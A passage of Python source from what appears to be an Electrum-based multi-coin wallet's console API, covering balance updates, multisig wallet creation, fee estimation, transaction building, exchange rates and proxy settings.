self.pywalib.web3.toChecksumAddress(address) balance_info = self.wallet.get_all_balance(address, self.coins[coin]["symbol"]) balance_info = balance_info.get(coin, dict()) out["coin"] = coin out["address"] = address out["balance"] = balance_info.get("balance", "0") out["fiat"] = self.daemon.fx.format_amount_and_units(balance_info.get("fiat", 0) * COIN) or f"0 {self.ccy}" elif ( self.network and self.network.is_connected() and self.network.get_server_height() != 0 and self.wallet.up_to_date ): # btc c, u, x = self.wallet.get_balance() show_balance = c + u out["coin"] = "btc" out["address"] = address out["balance"] = self.format_amount(show_balance) out["fiat"] = self.daemon.fx.format_amount_and_units(show_balance) if self.daemon.fx else None if u: out["unconfirmed"] = self.format_amount(u, is_diff=True).strip() if x: out["unmatured"] = self.format_amount(x, is_diff=True).strip() if out and self.callbackIntent is not None: self.callbackIntent.onCallback("update_status=%s" % json.dumps(out, cls=DecimalEncoder)) def get_remove_flag(self, tx_hash): height = self.wallet.get_tx_height(tx_hash).height if height in [TX_HEIGHT_FUTURE, TX_HEIGHT_LOCAL]: return True else: return False def remove_local_tx(self, delete_tx): """ :param delete_tx: tx_hash that you need to delete :return : """ try: to_delete = {delete_tx} to_delete |= self.wallet.get_depending_transactions(delete_tx) for tx in to_delete: self.wallet.remove_transaction(tx) self.delete_tx(tx) self.wallet.save_db() except BaseException as e: raise e # need to update at least: history_list, utxo_list, address_list # self.parent.need_update.set() def delete_tx(self, hash): try: if self.label_flag and self.wallet.wallet_type != "standard": self.label_plugin.push_tx(self.wallet, "deltx", hash) except BaseException as e: if e != "Could not decode:": log_info.info("push_tx delete_tx error {}.".format(e)) pass def get_wallet_info(self): wallet_info = {} wallet_info["balance"] = self.balance wallet_info["fiat_balance"] = self.fiat_balance wallet_info["name"] = self.wallet.get_name() return json.dumps(wallet_info) def update_interfaces(self): net_params = self.network.get_parameters() self.num_nodes = len(self.network.get_interfaces()) self.num_chains = len(self.network.get_blockchains()) chain = self.network.blockchain() self.blockchain_forkpoint = chain.get_max_forkpoint() self.blockchain_name = chain.get_name() interface = self.network.interface if interface: self.server_host = interface.host else: self.server_host = str(net_params.server.host) + " (connecting...)" self.proxy_config = net_params.proxy or {} mode = self.proxy_config.get("mode") host = self.proxy_config.get("host") port = self.proxy_config.get("port") self.proxy_str = (host + ":" + port) if mode else _("None") # self.callbackIntent.onCallback("update_interfaces") def update_wallet(self): self.update_status() # self.callbackIntent.onCallback("update_wallet") def on_network_event(self, event, *args): if self.wallet is not None: if event == "network_updated": self.update_interfaces() self.update_status() elif event == "wallet_updated": self.update_status() self.update_wallet() elif event == "blockchain_updated": # to update number of confirmations in history self.update_wallet() elif event == "status": self.update_status() elif event == "new_transaction": self.update_wallet() elif event == "verified": self.update_wallet() elif event == "set_server_status": if self.callbackIntent is not None: self.callbackIntent.onCallback("set_server_status=%s" % args[0]) def ticker_action(self): if self.wallet is not None: self.update_wallet() self.update_interfaces() def daemon_action(self): self.daemon_running = True self.daemon.run_daemon() def start_daemon(self): t1 = threading.Thread(target=self.daemon_action) t1.setDaemon(True) t1.start() # import time # time.sleep(1.0) print("parent thread") def status(self): """Get daemon status""" try: self._assert_daemon_running() except Exception as e: raise BaseException(e) return self.daemon.run_daemon({"subcommand": "status"}) def stop(self): """Stop the daemon""" try: self._assert_daemon_running() except Exception as e: raise BaseException(e) self.daemon.stop() self.daemon.join() self.daemon_running = False def get_wallet_type(self, name): return self.local_wallet_info.get(name) def set_hd_wallet(self, wallet_obj): if self.hd_wallet is None: self.hd_wallet = wallet_obj def is_have_hd_wallet(self, wallet_type): return (-1 != wallet_type.find("-hd-") or -1 != wallet_type.find("-derived-")) and -1 == wallet_type.find( "-hw-" ) def load_wallet(self, name, password=None): """ load an wallet :param name: wallet name as a string :param password: the wallet password as a string :return: """ try: self._assert_daemon_running() except Exception as e: raise BaseException(e) path = self._wallet_path(name) wallet = self.daemon.get_wallet(path) if not wallet: storage = WalletStorage(path) if not storage.file_exists(): # (_("Your {} were successfully imported").format(title)) raise BaseException(_("Failed to load file {}".format(path))) if storage.is_encrypted(): if not password: raise InvalidPassword() storage.decrypt(password) db = WalletDB(storage.read(), manual_upgrades=False) if db.requires_split(): return if db.requires_upgrade(): return if db.get_action(): return wallet_type = db.data["wallet_type"] if wallet_type[0:3] in self.coins: if "importe" in wallet_type: wallet = Eth_Wallet(db, storage, config=self.config) else: index = 0 if "address_index" in db.data: index = db.data["address_index"] wallet = Standard_Eth_Wallet(db, storage, config=self.config, index=index) else: wallet = Wallet(db, storage, config=self.config) wallet.start_network(self.network) if name in self.local_wallet_info: wallet_type = self.local_wallet_info.get(name)["type"] if self.is_have_hd_wallet(wallet_type): self.set_hd_wallet(wallet) # if -1 != wallet_type.find('btc-hd-'): # self.btc_derived_info.set_hd_wallet(wallet) # elif -1 != wallet_type.find('%s-hd' %wallet_type[0:3]): # self.coins[wallet_type[0:3]]['derivedInfoObj'].set_hd_wallet(wallet) self.daemon.add_wallet(wallet) def close_wallet(self, name=None): """Close a wallet""" try: self._assert_daemon_running() except Exception as e: raise BaseException(e) self.daemon.stop_wallet(self._wallet_path(name)) def set_syn_server(self, flag): """ Enable/disable sync server :param flag: flag as bool :return: raise except if error """ try: self.label_flag = flag self.config.set_key("use_labels", bool(flag)) if ( self.label_flag and self.wallet and self.wallet.wallet_type != "btc-standard" and self.wallet.wallet_type != "eth-standard" ): self.label_plugin.load_wallet(self.wallet) except Exception as e: raise BaseException(e) def set_callback_fun(self, callbackIntent): self.callbackIntent = callbackIntent def set_multi_wallet_info(self, name, m, n): try: self._assert_daemon_running() except Exception as e: raise BaseException(e) if self.wizard is not None: self.wizard = None self.wizard = MutiBase.MutiBase(self.config) path = self._wallet_path(name) print("console:set_multi_wallet_info:path = %s---------" % path) self.wizard.set_multi_wallet_info(path, m, n) self.m = m self.n = n def add_xpub(self, xpub, device_id=None, account_id=0, type=84, coin="btc"): try: self._assert_daemon_running() self._assert_wizard_isvalid() if BIP32Node.from_xkey(xpub).xtype != "p2wsh" and self.n >= 2: xpub = BIP32Node.get_p2wsh_from_other(xpub) coinid = None if coin in self.coins: coinid = self.coins[coin]["coinId"] self.wizard.restore_from_xpub(xpub, device_id, account_id, type=type, coin=coin, coinid=coinid) except Exception as e: raise BaseException(e) def get_device_info(self, wallet_info): """ Get hardware device info :return: """ try: device_info = wallet_info.get_device_info() return device_info except BaseException as e: raise e def delete_xpub(self, xpub): """ Delete xpub when create multi-signature wallet :param xpub: WIF pubkey :return: """ try: self._assert_daemon_running() self._assert_wizard_isvalid() self.wizard.delete_xpub(xpub) except Exception as e: raise BaseException(e) def get_keystores_info(self): try: self._assert_daemon_running() self._assert_wizard_isvalid() ret = self.wizard.get_keystores_info() except Exception as e: raise BaseException(e) return ret def set_sync_server_host(self, ip, port): """ Set sync server host/port :param ip: the server host (exp..."127.0.0.1") :param port: the server port (exp..."port") :return: raise except if error """ try: if self.label_flag: self.label_plugin.set_host(ip, port) self.config.set_key("sync_server_host", "%s:%s" % (ip, port)) except BaseException as e: raise e def get_sync_server_host(self): """ Get sync server host,you can pull label/xpubs/tx to server :return: ip+port like "39.105.86.163:8080" """ try: return self.config.get("sync_server_host", "39.105.86.163:8080") except BaseException as e: raise e def get_cosigner_num(self): try: self._assert_daemon_running() self._assert_wizard_isvalid() except Exception as e: raise BaseException(e) return self.wizard.get_cosigner_num() def create_multi_wallet(self, name, hd=False, hide_type=False, coin="btc", index=0) -> str: try: self._assert_daemon_running() self._assert_wizard_isvalid() temp_path = self.get_temp_file() path = self._wallet_path(temp_path) wallet_type = "%s-hw-%s-%s" % (coin, self.m, self.n) storage, db = self.wizard.create_storage(path=path, password=None, coin=coin) except Exception as e: raise BaseException(e) if storage: if "btc" == coin: wallet = Wallet(db, storage, config=self.config) wallet.set_derived_master_xpub(self.hw_info["xpub"]) else: wallet = Standard_Eth_Wallet(db, storage, config=self.config, index=index) self.check_exist_file(wallet) wallet.status_flag = "btc-hw-%s-%s" % (self.m, self.n) wallet.hide_type = hide_type wallet.set_name(name) new_name = self.get_unique_path(wallet) wallet.storage.set_path(self._wallet_path(new_name)) wallet.save_db() self.daemon.add_wallet(wallet) wallet.update_password(old_pw=None, new_pw=None, str_pw=self.android_id, encrypt_storage=True) if "btc" == coin: wallet.start_network(self.daemon.network) # if hd: # wallet_type = "btc-hd-hw-%s-%s" % (self.m, self.n) # else: wallet_type = "%s-hw-derived-%s-%s" % (coin, self.m, self.n) if not hide_type: self.update_local_wallet_info(self.get_unique_path(wallet), wallet_type) self.wallet = wallet self.wallet_name = wallet.basename() print("console:create_multi_wallet:wallet_name = %s---------" % self.wallet_name) # self.select_wallet(self.wallet_name) # if self.label_flag and not hide_type: # wallet_name = "" # if wallet_type[0:1] == "1": # wallet_name = name # else: # wallet_name = "ๅ…ฑ็ฎก้’ฑๅŒ…" # self.label_plugin.create_wallet(self.wallet, wallet_type, wallet_name) self.wizard = None wallet_info = CreateWalletInfo.create_wallet_info(coin_type="btc", name=self.wallet_name) out = self.get_create_info_by_json(wallet_info=wallet_info) return json.dumps(out) def pull_tx_infos(self): """ Get real-time multi-signature transaction info from sync_server """ try: self._assert_wallet_isvalid() if self.label_flag and self.wallet.wallet_type != "standard": data = self.label_plugin.pull_tx(self.wallet) data_list = json.loads(data) except_list = [] data_list.reverse() for txinfo in data_list: try: tx = tx_from_any(txinfo["tx"]) tx.deserialize() self.do_save(tx) except BaseException as e: temp_data = {} temp_data["tx_hash"] = txinfo["tx_hash"] temp_data["error"] = str(e) except_list.append(temp_data) pass # return json.dumps(except_list) # self.sync_timer = threading.Timer(5.0, self.pull_tx_infos) # self.sync_timer.start() except BaseException as e: raise BaseException(e) def bulk_create_wallet(self, wallets_info): """ Create wallets in bulk :param wallets_info:[{m,n,name,[xpub1,xpub2,xpub3]}, ....] :return: """ wallets_list = json.loads(wallets_info) create_failed_into = {} for m, n, name, xpubs in wallets_list: try: self.import_create_hw_wallet(name, m, n, xpubs) except BaseException as e: create_failed_into[name] = str(e) return json.dumps(create_failed_into) def import_create_hw_wallet(self, name, m, n, xpubs, hide_type=False, hd=False, path="bluetooth", coin="btc"): """ Create a wallet :param name: wallet name as string :param m: number of consigner as string :param n: number of signers as string :param xpubs: all xpubs as [[xpub1, device_id], [xpub2, device_id],....] :param hide_type: whether to create a hidden wallet as bool :param hd: whether to create hd wallet as bool :param derived: whether to create hd derived wallet as bool :param coin: btc/eth/bsc as string :return: json like {'seed':'' 'wallet_info':'' 'derived_info':''} """ try: if hd: return self.recovery_hd_derived_wallet(xpub=self.hw_info["xpub"], hw=True, path=path) self.set_multi_wallet_info(name, m, n) xpubs_list = json.loads(xpubs) for xpub_info in xpubs_list: if len(xpub_info) == 2: self.add_xpub( xpub_info[0], xpub_info[1], account_id=self.hw_info["account_id"], type=self.hw_info["type"], coin=coin, ) else: self.add_xpub( xpub_info, account_id=self.hw_info["account_id"], type=self.hw_info["type"], coin=coin ) wallet_name = self.create_multi_wallet( name, hd=hd, hide_type=hide_type, coin=coin, index=self.hw_info["account_id"] ) if len(self.hw_info) != 0: bip39_path = self.get_coin_derived_path(self.hw_info["account_id"], coin=coin) self.update_devired_wallet_info(bip39_path, self.hw_info["xpub"] + coin.lower(), name, coin) return wallet_name except BaseException as e: raise e def get_wallet_info_from_server(self, xpub): """ Get all wallet info that created by the xpub :param xpub: xpub from read by hardware as str :return: """ try: if self.label_flag: Vpub_data = [] title = "Vpub" if constants.net.TESTNET else "Zpub" if xpub[0:4] == title: Vpub_data = json.loads(self.label_plugin.pull_xpub(xpub)) xpub = BIP32Node.get_p2wpkh_from_p2wsh(xpub) vpub_data = json.loads(self.label_plugin.pull_xpub(xpub)) return json.dumps(Vpub_data + vpub_data if Vpub_data is not None else vpub_data) except BaseException as e: raise e def get_default_fee_status(self): """ Get default fee,now is ETA, for btc only :return: The fee info as 180sat/byte when you set regtest net and the mainnet is obtained in real time """ try: x = 1 self.config.set_key("mempool_fees", x == 2) self.config.set_key("dynamic_fees", x > 0) return self.config.get_fee_status() except BaseException as e: raise e def get_amount(self, amount): try: x = Decimal(str(amount)) except BaseException: return None # scale it to max allowed precision, make it an int power = pow(10, self.decimal_point) max_prec_amount = int(power * x) return max_prec_amount def set_dust(self, dust_flag): """ Enable/disable use dust :param dust_flag: as bool :return: """ if dust_flag != self.config.get("dust_flag", True): self.dust_flag = dust_flag self.config.set_key("dust_flag", self.dust_flag) def parse_output(self, outputs): all_output_add = json.loads(outputs) outputs_addrs = [] for key in all_output_add: for address, amount in key.items(): if amount != "!": amount = self.get_amount(amount) if amount <= 546: raise BaseException(_("Dust transaction")) outputs_addrs.append(PartialTxOutput.from_address_and_value(address, amount)) return outputs_addrs def get_coins(self, coins_info): coins = [] for utxo in self.coins: info = utxo.to_json() temp_utxo = {} temp_utxo[info["prevout_hash"]] = info["address"] if coins_info.__contains__(temp_utxo): coins.append(utxo) return coins def get_best_block_by_feerate(self, feerate, list): if feerate < list[20]: return 25 elif list[20] <= feerate < list[10]: return 20 elif list[10] <= feerate < list[5]: return 10 elif list[5] <= feerate < list[4]: return 5 elif list[4] <= feerate < list[3]: return 4 elif list[3] <= feerate < list[2]: return 3 elif list[2] <= feerate < list[1]: return 2 elif list[1] <= feerate: return 1 def format_return_data(self, feerate, size, block): fee = float(feerate / 1000) * size ret_data = { "fee": self.format_amount(fee), "feerate": feerate / 1000, "time": block * BTC_BLOCK_INTERVAL_TIME, "fiat": self.daemon.fx.format_amount_and_units(fee) if self.daemon.fx else None, "size": size, } return ret_data def get_default_fee_info(self, feerate=None, coin="btc", eth_tx_info=None): """ Get default fee info for btc :param feerate: Custom rates need to be sapcified as true :param coin: btc or eth, btc default :param eth_tx_info: optional, dict contains one of: to_address, contract_address, value, data :return: if coin is "btc": if feerate is true: return data like {"customer":{"fee":"","feerate":, "time":"", "fiat":"", "size":""}} if feerate is None: return data like {"slow":{"fee":"","feerate":, "time":"", "fiat":"", "size":""}, "normal":{"fee":"","feerate":, "time":"", "fiat":"", "size":""}, "fast":{"fee":"","feerate":, "time":"", "fiat":"", "size":""}, "slowest":{"fee":"","feerate":, "time":"", "fiat":"", "size":""}} else: return data like {"rapid": {"gas_price": 87, "time": 0.25, "gas_limit": 40000, "fee": "0.00348", "fiat": "4.77 USD"}, "fast": {"gas_price": 86, "time": 1, "gas_limit": 40000, "fee": "0.00344", "fiat": "4.71 USD"}, "normal": {"gas_price": 79, "time": 3, "gas_limit": 40000, "fee": "0.00316", "fiat": "4.33 USD"}, "slow": {"gas_price": 72, "time": 10, "gas_limit": 40000, "fee": "0.00288", "fiat": "3.95 USD"}} """ self._assert_wallet_isvalid() if coin in self.coins: if eth_tx_info: eth_tx_info = json.loads(eth_tx_info) else: eth_tx_info = {} eth_tx_info.pop("gas_price", None) eth_tx_info.pop("gas_limit", None) address = self.wallet.get_addresses()[0] fee = self.eth_estimate_fee(coin, address, **eth_tx_info) return json.dumps(fee, cls=DecimalEncoder) fee_info_list = self.get_block_info() out_size_p2pkh = 141 out_info = {} if feerate is None: for block, feerate in fee_info_list.items(): if block == 2 or block == 5 or block == 10: key = "slow" if block == 10 else "normal" if block == 5 else "fast" if block == 2 else "slowest" out_info[key] = self.format_return_data(feerate, out_size_p2pkh, block) else: block = self.get_best_block_by_feerate(float(feerate) * 1000, fee_info_list) out_info["customer"] = self.format_return_data(float(feerate) * 1000, out_size_p2pkh, block) return json.dumps(out_info) def eth_estimate_fee( self, coin, from_address, to_address="", contract_address=None, value="0", data="", gas_price=None, gas_limit=None ): estimate_gas_prices = self.pywalib.get_gas_price(coin) if gas_price: gas_price = Decimal(gas_price) best_time = self.pywalib.get_best_time_by_gas_price(gas_price, estimate_gas_prices) estimate_gas_prices = {"customer": {"gas_price": gas_price, "time": best_time}} if not gas_limit: gas_limit = self.pywalib.estimate_gas_limit( from_address, to_address, self.wallet.get_contract_token(contract_address), value, data ) gas_limit = Decimal(gas_limit) last_price = PyWalib.get_coin_price(self.pywalib.coin_symbol) or "0" for val in estimate_gas_prices.values(): val["gas_limit"] = gas_limit val["fee"] = self.pywalib.web3.fromWei( gas_limit * self.pywalib.web3.toWei(val["gas_price"], "gwei"), "ether" ) val["fiat"] = Decimal(val["fee"]) * Decimal(last_price) val["fiat"] = self.daemon.fx.format_amount_and_units(val["fiat"] * COIN) or f"0 {self.ccy}" return estimate_gas_prices def get_block_info(self): fee_info_list = self.config.get_block_fee_info() if fee_info_list is not None: self.config.set_key("fee_info_list", fee_info_list) else: fee_info_list = self.config.get("fee_info_list", fee_info_list) if fee_info_list is None: fee_info = read_json("server_config.json", {}) fee_info_list = fee_info["feerate_info"] return fee_info_list def get_fee_by_feerate(self, coin="btc", outputs=None, message=None, feerate=None, customer=None, eth_tx_info=None): """ Get fee info when Send :param coin: btc or eth, btc default :param outputs: Outputs info as json [{addr1, value}, ...] :param message: What you want say as sting :param feerate: Feerate retruned by get_default_fee_status api :param customer: User choose coin as bool :param eth_tx_info: optional, dict contains one of: to_address, contract_address, value, data, gas_price, gas_limit :return: if coin is "btc" json like {"amount": 0.5 BTC, "size": 141, "fee": 0.0003 BTC, "time": 30, "tx": ""} else if coin is "eth": json like {"gas_price": 110, "time": 0.25, "gas_limit": 36015, "fee": "0.00396165", "fiat": "5.43 USD"} """ if coin in self.coins: if eth_tx_info: eth_tx_info = json.loads(eth_tx_info) else: eth_tx_info = {} if not eth_tx_info.get("gas_price"): raise InvalidValueException() fee = self.eth_estimate_fee(coin, self.wallet.get_addresses()[0], **eth_tx_info) fee = fee.get("customer") return json.dumps(fee, cls=DecimalEncoder) try: self._assert_wallet_isvalid() outputs_addrs = self.parse_output(outputs) if customer is None: coins = self.wallet.get_spendable_coins(domain=None) else: coins = self.get_coins(json.loads(customer)) c, u, x = self.wallet.get_balance() if not coins and self.config.get("confirmed_only", False): raise BaseException(_("Please use unconfirmed utxo.")) fee_per_kb = 1000 * Decimal(feerate) from functools import partial fee_estimator = partial(self.config.estimate_fee_for_feerate, fee_per_kb) # tx = self.wallet.make_unsigned_transaction(coins=coins, outputs = outputs_addrs, fee=self.get_amount(fee_estimator)) tx = self.wallet.make_unsigned_transaction(coins=coins, outputs=outputs_addrs, fee=fee_estimator) tx.set_rbf(self.rbf) self.wallet.set_label(tx.txid(), message) size = tx.estimated_size() fee = tx.get_fee() print("feee-----%s size =%s" % (fee, size)) self.tx = tx # print("console:mkun:tx====%s" % self.tx) tx_details = self.wallet.get_tx_info(tx) print("tx_details 1111111 = %s" % json.dumps(tx_details)) fee_info_list = self.get_block_info() block = self.get_best_block_by_feerate(float(feerate) * 1000, fee_info_list) ret_data = { "amount": self.format_amount(tx_details.amount), "size": size, "fee": self.format_amount(tx_details.fee), "time": block * BTC_BLOCK_INTERVAL_TIME, "tx": str(self.tx), } return json.dumps(ret_data) except NotEnoughFunds: raise BaseException(NotEnoughFundsStr()) except BaseException as e: raise BaseException(e) def mktx(self, tx=None): """ Confirm to create transaction, for btc only :param tx: tx that created by get_fee_by_feerate :return: json like {"tx":""} """ try: self._assert_wallet_isvalid() tx = tx_from_any(tx) tx.deserialize() except Exception as e: raise BaseException(e) ret_data = {"tx": str(self.tx)} try: if self.label_flag and self.wallet.wallet_type != "standard": self.label_plugin.push_tx(self.wallet, "createtx", tx.txid(), str(self.tx)) except Exception as e: log_info.info("push_tx createtx error {}.".format(e)) pass json_str = json.dumps(ret_data) return json_str def deserialize(self, raw_tx): try: tx = Transaction(raw_tx) tx.deserialize() except Exception as e: raise BaseException(e) def eth_max_button_use_gas(self, gas_price, coin=None): """ The gas value when the max button is clicked, for eth only :param gas_price: gas price by coustomer :param coin: eth/bsc :return: gas info as string, unit is ether """ return PyWalib.get_max_use_gas(gas_price) # ### coinjoin # def join_tx_with_another(self, tx: 'PartialTransaction', other_tx: 'PartialTransaction') -> None: # if tx is None or other_tx is None: # raise BaseException("tx or other_tx is empty") # try: # print(f"join_tx_with_another.....in.....") # tx = tx_from_any(tx) # other_tx = tx_from_any(other_tx) # if not isinstance(tx, PartialTransaction): # raise BaseException('TX must partial transactions.') # except BaseException as e: # raise BaseException(("Bixin was unable to parse your transaction") + ":\n" + repr(e)) # try: # print(f"join_tx_with_another.......{tx, other_tx}") # tx.join_with_other_psbt(other_tx) # except BaseException as e: # raise BaseException(("Error joining partial transactions") + ":\n" + repr(e)) # return tx.serialize_as_bytes().hex() # def export_for_coinjoin(self, export_tx) -> PartialTransaction: # if export_tx is None: # raise BaseException("export_tx is empty") # export_tx = tx_from_any(export_tx) # if not isinstance(export_tx, PartialTransaction): # raise BaseException("Can only export partial transactions for coinjoins.") # tx = copy.deepcopy(export_tx) # tx.prepare_for_export_for_coinjoin() # return tx.serialize_as_bytes().hex() # #### def format_amount(self, x, is_diff=False, whitespaces=False): return util.format_satoshis( x, is_diff=is_diff, num_zeros=self.num_zeros, decimal_point=self.decimal_point, whitespaces=whitespaces ) def base_unit(self): return util.decimal_point_to_base_unit_name(self.decimal_point) # set use unconfirmed coin def set_unconf(self, x): """ Enable/disable spend confirmed_only input, for btc only :param x: as bool :return:None """ self.config.set_key("confirmed_only", bool(x)) # fiat balance def get_currencies(self): """ Get fiat list :return:json exp:{'CNY', 'USD'...} """ self._assert_daemon_running() currencies = sorted(self.daemon.fx.get_currencies(self.daemon.fx.get_history_config())) return json.dumps(currencies) def get_exchanges(self): """ Get exchange server list :return: json exp:{'exchanges', ...} """ if not self.daemon.fx: return b = self.daemon.fx.is_enabled() if b: h = self.daemon.fx.get_history_config() c = self.daemon.fx.get_currency() exchanges = self.daemon.fx.get_exchanges_by_ccy(c, h) else: exchanges = self.daemon.fx.get_exchanges_by_ccy("USD", False) return json.dumps(sorted(exchanges)) def set_exchange(self, exchange): """ Set exchange server :param exchange: exchange server name as string like "exchanges" :return:None """ if self.daemon.fx and self.daemon.fx.is_enabled() and exchange and exchange != self.daemon.fx.exchange.name(): self.daemon.fx.set_exchange(exchange) def set_currency(self, ccy): """ Set fiat :param ccy: fiat as string like "CNY" :return:None """ self.daemon.fx.set_enabled(True) if ccy != self.ccy: self.daemon.fx.set_currency(ccy) self.ccy = ccy self.update_status() def get_exchange_currency(self, type, amount): """ You can get coin to fiat or get fiat to coin :param type: base/fiat as str :param amount: value :return: exp: if you want get fiat from coin,like this: get_exchange_currency("base", 1) return: 1,000.34 CNY if you want get coin from fiat, like this: get_exchange_currency("fiat", 1000) return: 1 mBTC """ text = "" rate = self.daemon.fx.exchange_rate() if self.daemon.fx else Decimal("NaN") if rate.is_nan() or amount is None: return text else: if type == "base": amount = self.get_amount(amount) text = self.daemon.fx.ccy_amount_str(amount * Decimal(rate) / COIN, False) elif type == "fiat": text = self.format_amount((int(Decimal(amount) / Decimal(rate) * COIN))) return text def get_coin_exchange_currency(self, value, from_coin): try: last_price = PyWalib.get_coin_price(from_coin.upper()) data = ( self.daemon.fx.format_amount_and_units(self.get_amount(value * last_price)) if self.daemon.fx else None ) return data except BaseException as e: raise e def set_base_uint(self, base_unit): """ Set base unit for(BTC/mBTC/bits/sat), for btc only :param base_unit: (BTC or mBTC or bits or sat) as string :return:None """ self.base_unit = base_unit self.decimal_point = util.base_unit_name_to_decimal_point(self.base_unit) self.config.set_key("decimal_point", self.decimal_point, True) self.update_status() def format_amount_and_units(self, amount): try: self._assert_daemon_running() except Exception as e: raise BaseException(e) text = self.format_amount(amount) + " " + self.base_unit x = self.daemon.fx.format_amount_and_units(amount) if self.daemon.fx else None if text and x: text += " (%s)" % x return text # #proxy def set_proxy(self, proxy_mode, proxy_host, proxy_port, proxy_user, proxy_password): """ Set proxy server :param proxy_mode: SOCK4/SOCK5 as string :param proxy_host: server ip :param proxy_port: server port :param proxy_user: login user that you registed :param proxy_password: login password that you registed :return: raise except if error """ try: net_params = self.network.get_parameters() proxy = None if proxy_mode != "" and proxy_host != "" and proxy_port != "": proxy = { "mode": str(proxy_mode).lower(), "host": str(proxy_host), "port": str(proxy_port), "user": str(proxy_user), "password": str(proxy_password), } net_params = net_params._replace(proxy=proxy) self.network.run_from_another_thread(self.network.set_parameters(net_params)) except BaseException as e: raise e # #qr api def get_raw_tx_from_qr_data(self, data): try: from electrum.util import bh2u return bh2u(base_decode(data, None, base=43)) except BaseException as e: raise e def get_qr_data_from_raw_tx(self, raw_tx): try: from electrum.bitcoin import base_encode, bfh text = bfh(raw_tx) return base_encode(text, base=43) except BaseException as e: raise e def recover_tx_info(self, tx): try: tx = tx_from_any(str(tx)) temp_tx = copy.deepcopy(tx) temp_tx.deserialize() temp_tx.add_info_from_wallet(self.wallet) return temp_tx except BaseException as e: raise e def get_tx_info_from_raw(self, raw_tx, tx_list=None): """ You can get detail info from a raw_tx, for btc only :param raw_tx: Raw tx as string :return: json like {'txid': , 'can_broadcast': true, 'amount': "", 'fee': "", 'description': "", 'tx_status': "", 'sign_status': "", 'output_addr': "", 'input_addr': ["addr", ], 'height': 2000, 'cosigner': "", 'tx': "", 'show_status': [1, _("Unconfirmed")]} """ try: print("console:get_tx_info_from_raw:tx===%s" % raw_tx) tx = self.recover_tx_info(raw_tx) except Exception as e: tx = None raise BaseException(e) data = {} data = self.get_details_info(tx, tx_list=tx_list) return data def get_input_info(self, tx, all=None): input_list = [] local_addr = self.txdb.get_received_tx_input_info(tx.txid()) if len(local_addr) != 0: local_addr = json.loads(local_addr[0][1]) if len(local_addr) != 0: return local_addr for txin in tx.inputs(): input_info = {} addr = self.wallet.get_txin_address(txin) if addr is None: import asyncio try: addr = asyncio.run_coroutine_threadsafe( self.gettransaction(txin.prevout.txid.hex(), txin.prevout.out_idx), self.network.asyncio_loop ).result() except BaseException: addr = "" input_info["address"] = addr input_list.append(input_info) if all is None: break self.txdb.add_received_tx_input_info(tx.txid(), json.dumps(input_list)) return input_list def get_fee_from_server(self, txid): """Retrieve a transaction. """ url_info = read_json("server_config.json", {}) url_list = url_info["btc_server"] for urlinfo in url_list: for key, url in urlinfo.items(): url += txid try: import requests response = requests.get(url, timeout=2) # response = await self.network.send_http_on_proxy("get", url, timeout=2) response_json = response.json() except BaseException as e: log_info.info("get fee from server error {}.".format(e)) pass continue if response_json.__contains__("fee"): return self.format_amount_and_units(response_json["fee"]) elif response_json.__contains__("fees"): return self.format_amount_and_units(response_json["fees"]) else: continue return "" # def get_receive_fee_by_hash(self, tx_hash): # import asyncio # try: # fee = asyncio.run_coroutine_threadsafe( # self.get_fee_from_server(tx_hash), # self.network.asyncio_loop).result() # except: # fee = None # return fee def get_details_info(self, tx, tx_list=None): try: self._assert_wallet_isvalid() except Exception as e: raise BaseException(e) tx_details = self.wallet.get_tx_info(tx) if "Partially signed" in tx_details.status: temp_s, temp_r = tx.signature_count() s = int(temp_s / len(tx.inputs())) r = len(self.wallet.get_keystores()) elif "Unsigned" in tx_details.status: s = 0 r = len(self.wallet.get_keystores()) else: if self.wallet.wallet_type == "standard" or self.wallet.wallet_type == "imported": s = r = len(self.wallet.get_keystores()) else: s, r = self.wallet.wallet_type.split("of", 1) in_list = self.get_input_info(tx) out_list = [] for index, o in enumerate(tx.outputs()): address, value = o.address, o.value out_info = {} out_info["addr"] = address out_info["amount"] = self.format_amount_and_units(value) out_info["is_change"] = True if (index == len(tx.outputs()) - 1) and (len(tx.outputs()) != 1) else False out_list.append(out_info) amount_str = "" if tx_details.amount is None: amount_str = _("Transaction not related to the current wallet.") else: amount_str = self.format_amount_and_units(tx_details.amount) block_height = tx_details.tx_mined_status.height show_fee = "" if tx_details.fee is not None: show_fee = self.format_amount_and_units(tx_details.fee) else: if tx_list is None: show_fee_list = self.txdb.get_received_tx_fee_info(tx_details.txid) if len(show_fee_list) != 0: show_fee = show_fee_list[0][1] if show_fee == "": show_fee = self.get_fee_from_server(tx_details.txid) if show_fee != "": self.txdb.add_received_tx_fee_info(tx_details.txid, show_fee) if block_height == -2: status = _("Unconfirmed") can_broadcast = False else: status = tx_details.status can_broadcast = tx_details.can_broadcast ret_data = { "txid": tx_details.txid, "can_broadcast": can_broadcast, "amount": amount_str, "fee": show_fee, # 'description': self.wallet.get_label(tx_details.txid) if 44 != int(self.wallet.keystore.get_derivation_prefix().split('/')[COIN_POS].split('\'')[0]) else "", "description": "", "tx_status": status, "sign_status": [s, r], "output_addr": out_list, "input_addr": in_list, "height": block_height, "cosigner": [x.xpub if not isinstance(x, Imported_KeyStore) else "" for x in self.wallet.get_keystores()], "tx": str(tx), "show_status": [1, _("Unconfirmed")] if (block_height == 0 or (block_height < 0 and not can_broadcast)) else [3, _("Confirmed")] if block_height > 0 else [2, _("Sending failure")], } json_data = json.dumps(ret_data) return json_data # invoices def delete_invoice(self, key): try: self._assert_wallet_isvalid() self.wallet.delete_invoice(key) except Exception as e: raise BaseException(e) def get_invoices(self): try: self._assert_wallet_isvalid() return self.wallet.get_invoices() except Exception as e: raise BaseException(e) def do_save(self, tx): try: if not self.wallet.add_transaction(tx): raise BaseException( _(("Transaction cannot be saved. It conflicts with current history. tx={}").format(tx.txid())) ) except BaseException as e: raise BaseException(e) else: self.wallet.save_db() def update_invoices(self, old_tx, new_tx): try: self._assert_wallet_isvalid() self.wallet.update_invoice(old_tx, new_tx) except Exception as e: raise BaseException(e) def clear_invoices(self): try: self._assert_wallet_isvalid() self.wallet.clear_invoices() except Exception as e: raise BaseException(e) def get_history_tx(self): try: self._assert_wallet_isvalid() except Exception as e: raise BaseException(e) history = reversed(self.wallet.get_history()) all_data = [self.get_card(*item) for item in history] return all_data # get input address for receive tx async def gettransaction(self, txid, n): """Retrieve a transaction. """ tx = None raw = await self.network.get_transaction(txid, timeout=3) if raw: tx = Transaction(raw) else: raise Exception("Unknown transaction") if tx.txid() != txid: raise Exception("Mismatching txid") addr = tx._outputs[n].address return addr def get_btc_tx_list(self, start=None, end=None, search_type=None): # noqa history_data = [] try: 